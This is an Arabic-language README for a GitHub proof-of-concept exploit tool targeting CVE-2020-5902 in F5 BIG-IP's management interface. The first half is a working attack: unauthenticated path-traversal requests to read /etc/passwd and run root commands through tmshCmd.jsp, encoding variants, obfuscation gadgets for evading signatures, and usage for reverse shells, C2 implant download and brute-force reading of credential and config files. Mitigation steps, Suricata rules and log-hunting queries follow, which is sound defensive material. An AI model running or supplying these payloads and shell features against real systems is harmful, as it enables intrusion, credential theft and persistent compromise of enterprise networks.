
F5 BIG-IP هي منصة لتسليم التطبيقات وأمنها تُستخدم على نطاق واسع في بيئات الشركات. تُعد CVE-2020-5902 ثغرة أمنية حرجة في TMUI قد تسمح، في الإصدارات غير المُصححة، بالوصول غير المصرح به وتنفيذ التعليمات البرمجية عن بُعد، مما يعزز الحاجة إلى التحديث والإدارة المستمرة للثغرات الأمنية.
أداة استغلال (Proof-of-Concept) للثغرة الحرجة الخاصة باجتياز المسار / تنفيذ التعليمات البرمجية عن بُعد في واجهة إدارة حركة المرور (TMUI) في F5 BIG-IP.
⚠️ لأغراض اختبار الاختراق المصرح به والبحث الأمني فقط. الاستخدام غير المصرح به ضد أنظمة لا تملكها أو ليس لديك إذن كتابي لاختبارها غير قانوني. لا يتحمل المؤلف أي مسؤولية عن إساءة استخدام هذه الأداة.
F5 BIG-IP هي عائلة من الأجهزة الشبكية متعددة الأغراض (موازنات الأحمال، جدران حماية تطبيقات الويب WAF، وحدات تحكم تسليم التطبيقات) المنتشرة في غالبية شركات Fortune 500 والمؤسسات المالية ومنظمات الرعاية الصحية والوكالات الحكومية حول العالم. تُعَد واجهة إدارة حركة المرور (TMUI) — التي يُشار إليها أيضًا باسم أداة التكوين (Configuration Utility) — بوابة الإدارة المستندة إلى الويب، ويمكن الوصول إليها عبر المنفذ 443 (أو 8443).
في يوليو 2020، كشفت F5 عن CVE-2020-5902، وهي ثغرة حرجة (CVSS 9.8) في اجتياز المسار بدون مصادقة في TMUI، تسمح لمهاجم عن بُعد غير مُصادَق عليه بـ:
خلال أيام من الكشف العلني، لوحظ استغلال واسع النطاق في البرية، بما في ذلك من جهات فاعلة تابعة لدول.
تم بناء TMUI على Apache Tomcat، وتستخدم مرشح servlet لفرض المصادقة على الموارد المحمية. تكمن الثغرة في كيفية تحليل Tomcat لمقاطع المسار المفصولة بفواصل منقوطة (;).
يؤدي الطلب التالي إلى تجاوز المصادقة بالكامل:
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
لماذا ينجح هذا؟
/tmui/login.jsp (ينتهي قبل ;) — وهي صفحة تسجيل الدخول العامة — فيسمح بالطلب./..;/ على أنه اجتياز مسار (/../) قبل الإرسال.fileRead.jsp بدون مصادقة.┌──────────────────────────────────────────────────────────────────┐
│ Client Request │
│ GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp │
└────────────────────────────┬─────────────────────────────────────┘
│
┌───────────────▼───────────────┐
│ Tomcat Servlet Filter │
│ Sees: /tmui/login.jsp ✓ │
│ (public endpoint → ALLOW) │
└───────────────┬───────────────┘
│
┌───────────────▼───────────────┐
│ Tomcat URL Resolver │
│ Resolves: /..;/ → /../ │
│ Final path: /tmui/locallb/ │
│ workspace/fileRead.jsp ← 🔓 │
└───────────────┬───────────────┘
│
┌───────────────▼───────────────┐
│ fileRead.jsp (no auth check) │
│ Reads arbitrary files as root│
└───────────────────────────────┘
يقوم servlet tmshCmd.jsp (الذي يمكن الوصول إليه أيضًا عبر نفس أسلوب الاجتياز) بتمرير المعاملين command وutilCmdArgs مباشرة إلى tmsh (شل إدارة BIG-IP)، والذي يغلّفهما داخل run util bash -c '...'. وهذا يوفر تنفيذ أوامر نظام تشغيل على مستوى الجذر بدون مصادقة:
POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
command=run+util+bash+-c+'id'&utilCmdArgs=-c+'id'
Phase 1: Reconnaissance
└─ TCP banner grab (HTTP/TLS fingerprint)
└─ SSL certificate analysis
└─ HTTP headers fingerprint (Server, X-Powered-By, Set-Cookie)
└─ BIG-IP version estimation from /etc/f5-release
Phase 2: Vulnerability Check
└─ Iterate over 6 traversal encoding variants
└─ Test against 4 known-readable sentinel files
└─ Confirm output matches known indicators (root:x:0:0, BIG-IP, etc.)
Phase 3: Exploitation
├─ Vector A: tmshCmd.jsp (primary RCE)
│ └─ Command obfuscated via base64 / hex-encode gadgets
├─ Vector B: fileRead.jsp + command injection in fileName param
│ └─ OS command injected into the fileName parameter
└─ Vector C: Log poisoning (User-Agent injection → read access_log)
Phase 4: Post-Exploitation (optional)
├─ Interactive shell (command REPL)
├─ Reverse shell (4 concurrent one-liners)
├─ LFI brute-force (30 sensitive paths, parallel)
└─ C2 implant deployment (Sliver / Metasploit / custom)
تطبّق الأداة واحدة من أداتي إخفاء في كل عملية تنفيذ، مما يجعل اكتشاف التوقيعات الثابتة أكثر صعوبة:
# Gadget 1 — Base64 encode/decode pipeline
bash -c {echo,aWQ=}|{base64,-d}|bash
# Gadget 2 — Hex-byte printf evaluation
eval "$(printf '\x69\x64')"
أجهزة BIG-IQ وBIG-IQ Centralized Management وF5OS وTraffix SDC غير متأثرة بهذه الثغرة تحديدًا.
!revshell و!c2 و!read و!brutegit clone https://github.com/DevRafaelprogrammer/F5-BIG-IP.git
cd F5-BIG-IP
pip install requests pycryptodome urllib3
المتطلبات: Python 3.10+
python CVE-2020-5902.py [-h] [--port PORT] [--proxy URL] [--no-recon]
[--cmd CMD] [--shell] [--lfi-brute]
[--revshell LHOST LPORT]
[--c2-url URL] [--c2-type TYPE] [--c2-args ARGS]
target
# 1. Vulnerability check only
python CVE-2020-5902.py 192.168.1.100
# 2. Custom port + single command execution
python CVE-2020-5902.py 192.168.1.100 --port 8443 --cmd "id && uname -a"
# 3. Interactive shell
python CVE-2020-5902.py 192.168.1.100 --shell
# 4. LFI brute-force (reads 30 sensitive paths)
python CVE-2020-5902.py 192.168.1.100 --lfi-brute
# 5. Reverse shell callback
python CVE-2020-5902.py 192.168.1.100 --revshell 10.0.0.1 4444
# 6. Deploy a C2 implant (Sliver example)
python CVE-2020-5902.py 192.168.1.100 \
--c2-url http://10.0.0.1:8000/implant \
--c2-type linux
# 7. Route through Burp Suite for traffic inspection
python CVE-2020-5902.py 192.168.1.100 --proxy http://127.0.0.1:8080
عند الدخول في وضع --shell، تتوفر الأوامر الخاصة التالية:
أكثر إجراء تخفيفي فعالية هو ضمان أن تكون واجهة الإدارة غير قابلة للوصول أبدًا من الشبكات غير الموثوقة:
# BIG-IP: restrict management access to a dedicated VLAN/IP range
tmsh modify sys httpd allow replace-all-with { 10.0.0.0/8 192.168.0.0/16 }
tmsh save sys config
بدلاً من ذلك، من إعدادات Self IP في BIG-IP، تأكد من عدم وجود مسار خارجي لمنفذ الإدارة.
نشرت F5 برنامجًا نصيًا للتخفيف يضيف RewriteRule في Apache لحجب نمط الاجتياز:
# /etc/httpd/conf.d/CVE-2020-5902.conf
RewriteEngine On
RewriteCond %{THE_REQUEST} "([^\ ]+)\x3b" [NC]
RewriteRule ^ - [F,L]
المرجع: K52145254 — خطوات التخفيف
الحل الجذري هو ترقية BIG-IP إلى إصدار مُحدَّث (انظر جدول الإصدارات المتأثرة). صحّحت F5 منطق مرشح servlet لتحليل مقاطع المسار المفصولة بفواصل منقوطة بشكل صحيح قبل فرض المصادقة.
┌────────────────────────────────────────────────────────────────┐
│ RECOMMENDED ARCHITECTURE │
│ │
│ Internet ──────► Firewall ──────► DMZ / Production │
│ │ │
│ │ (DENY all traffic to mgmt ports) │
│ │ │
│ Jump Host ──────► BIG-IP TMUI (port 443) │
│ (MFA + VPN) (management VLAN only) │
└────────────────────────────────────────────────────────────────┘
المبادئ الأساسية:
Self IP في BIG-IP على Allow None أو Allow Defaultsإذا كان جدار حماية تطبيقات الويب WAF موجودًا أمام إدارة BIG-IP (أمر غير شائع لكنه ممكن في بعض البنى)، أضف قواعد لحجب:
; في مسار URL..; أو %3b في مقاطع المسار/tmui/locallb/workspace/ من مصادر غير إدارية[ ] BIG-IP patched to a fixed version
[ ] TMUI not exposed to the internet (verify with Shodan/Censys)
[ ] Management VLAN segregated from production
[ ] Self IP port lockdown configured (Allow None or Allow Defaults)
[ ] MFA enforced on management access
[ ] BIG-IP software inventory in asset management system
[ ] Automated vulnerability scanning (Tenable/Qualys) includes BIG-IP
[ ] Log forwarding to SIEM configured (access_log, audit.log)
[ ] Network segmentation: compromised BIG-IP cannot reach domain controllers
[ ] Incident response playbook includes network device compromise scenario
# Detect path traversal attempts (semicolon bypass)
alert http any any -> $HOME_NET 443 (
msg:"CVE-2020-5902 F5 BIG-IP TMUI Path Traversal";
flow:to_server,established;
content:"tmui"; http_uri; nocase;
content:"..;"; http_uri;
content:"workspace"; http_uri; nocase;
reference:cve,2020-5902;
sid:9000001; rev:1;
)
# Detect encoded semicolon variant
alert http any any -> $HOME_NET 443 (
msg:"CVE-2020-5902 F5 BIG-IP TMUI Path Traversal (encoded)";
flow:to_server,established;
content:"tmui"; http_uri; nocase;
content:"%3b"; http_uri; nocase;
content:"fileRead"; http_uri; nocase;
reference:cve,2020-5902;
sid:9000002; rev:1;
)
# Hunt for traversal attempts in BIG-IP access logs
grep -iE "(\.\.;|%2e%2e|%252e|\.\.%3b|%2e%2e%3b)" /var/log/httpd/access_log
# Look for successful hits to the vulnerable endpoints
grep -iE "(fileRead\.jsp|tmshCmd\.jsp|workspace)" /var/log/httpd/access_log | \
grep -v "^10\.\|^192\.168\.\|^172\.1[6-9]\.\|^172\.2[0-9]\.\|^172\.3[0-1]\."
index=network sourcetype=f5:bigip:access
(uri_path="*..;*" OR uri_path="*%3b*" OR uri_path="*%2e%2e*")
(uri_path="*workspace*" OR uri_path="*fileRead*" OR uri_path="*tmshCmd*")
| eval risk=if(status=200, "HIGH", "MEDIUM")
| stats count by src_ip, uri_path, status, risk
| sort -count
أنماط URL:
/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
/tmui/login.jsp/%2e%2e;/tmui/locallb/workspace/fileRead.jsp
/tmui/login.jsp/..%3b/tmui/locallb/workspace/fileRead.jsp
الأهداف الشائعة للمهاجمين (الملفات التي يتم الوصول إليها):
/etc/passwd — credential harvesting
/config/bigip.conf — VPN/routing config exfiltration
/config/bigip.license — license key theft
/config/bigip_user.conf — local admin account enumeration
/root/.bash_history — historical command reconnaissance
http.title:"BIG-IP" port:443هذه الأداة مقدمة لأغراض تعليمية ولتقييمات أمنية مصرح بها فقط. وهي مخصصة من أجل:
يُعد استخدام هذه الأداة ضد أنظمة دون إذن كتابي صريح جريمة جنائية بموجب قانون الاحتيال وإساءة استخدام الحاسوب (CFAA)، وقانون إساءة استخدام الحاسوب البريطاني (UK Computer Misuse Act)، والقانون البرازيلي Lei Nº 12.737/2012 (Lei Carolina Dieckmann)، والقوانين المماثلة في معظم دول العالم.
لا يتحمل مؤلف هذا المستودع ومساهموه أي مسؤولية عن أي ضرر أو عواقب قانونية أو أضرار أخرى ناتجة عن إساءة استخدام هذا البرنامج.
صُنع من أجل مجتمع البحث الأمني. حدّث أنظمتك. احمِ شبكاتك.
| المتغير | الحمولة |
|---|
| قياسي | tmui/login.jsp/..;/tmui/... |
| فاصلة منقوطة مشفرة | tmui/login.jsp/..%3b/tmui/... |
| ترميز URL مزدوج | tmui%2flogin.jsp%2f..%3b%2ftmui%2f... |
| نقاط يونيكود (dot-dot) | tmui/login.jsp/%2e%2e;/tmui/... |
| تباين حالة الأحرف | TMUI/login.jsp/..;/tmui/... |
| التباس الدليل | tmui/login.jsp/..;/tmui/locallb/workspace/../workspace/... |
| فرع BIG-IP | النطاق المعرض للثغرة | الإصدار المُصلَح |
|---|
| 15.x | < 15.1.0.4 | ≥ 15.1.0.4 |
| 14.x | < 14.1.2.6 | ≥ 14.1.2.6 |
| 13.x | < 13.1.3.4 | ≥ 13.1.3.4 |
| 12.x | < 12.1.5.2 | ≥ 12.1.5.2 |
| 11.x | < 11.6.5.2 | ≥ 11.6.5.2 |
| الأمر | الوصف |
|---|
!revshell <lhost> <lport> | إطلاق 4 متغيرات من الشل العكسي بشكل متزامن |
!c2 <url> <type> [args] | تنزيل أداة زرع C2 وتنفيذها |
!read <path> | قراءة أي ملف عبر LFI |
!brute | تفجير 30 مسارًا حساسًا |
!exit | إنهاء الجلسة |
<any OS command> | التنفيذ عبر RCE وطباعة المخرجات |
| التاريخ | الحدث |
|---|
| 2020-06-30 | تم إخطار F5 بشكل خاص |
| 2020-07-01 | أصدرت F5 الاستشارة الأمنية (K52145254) والتحديثات |
| 2020-07-03 | تم نشر إثبات المفهوم (PoC) علنًا على تويتر |
| 2020-07-04 | رصدت عدة شركات لاستخبارات التهديدات استغلالًا واسع النطاق |
| 2020-07-06 | أصدرت CISA التوجيه الطارئ 20-03 بإلزام القطاع الفيدرالي بالتحديث |
| 2020-07-09 | تأكد استغلال جهات فاعلة تابعة لدول (APT) في البرية |
| 2020-07-15 | نحو 8,000 مثيل BIG-IP ما زال غير مُحدَّث (Shodan) |
| 2020-08-xx | بدأت مجموعات برامج الفدية باستهداف أجهزة BIG-IP غير المُحدَّثة |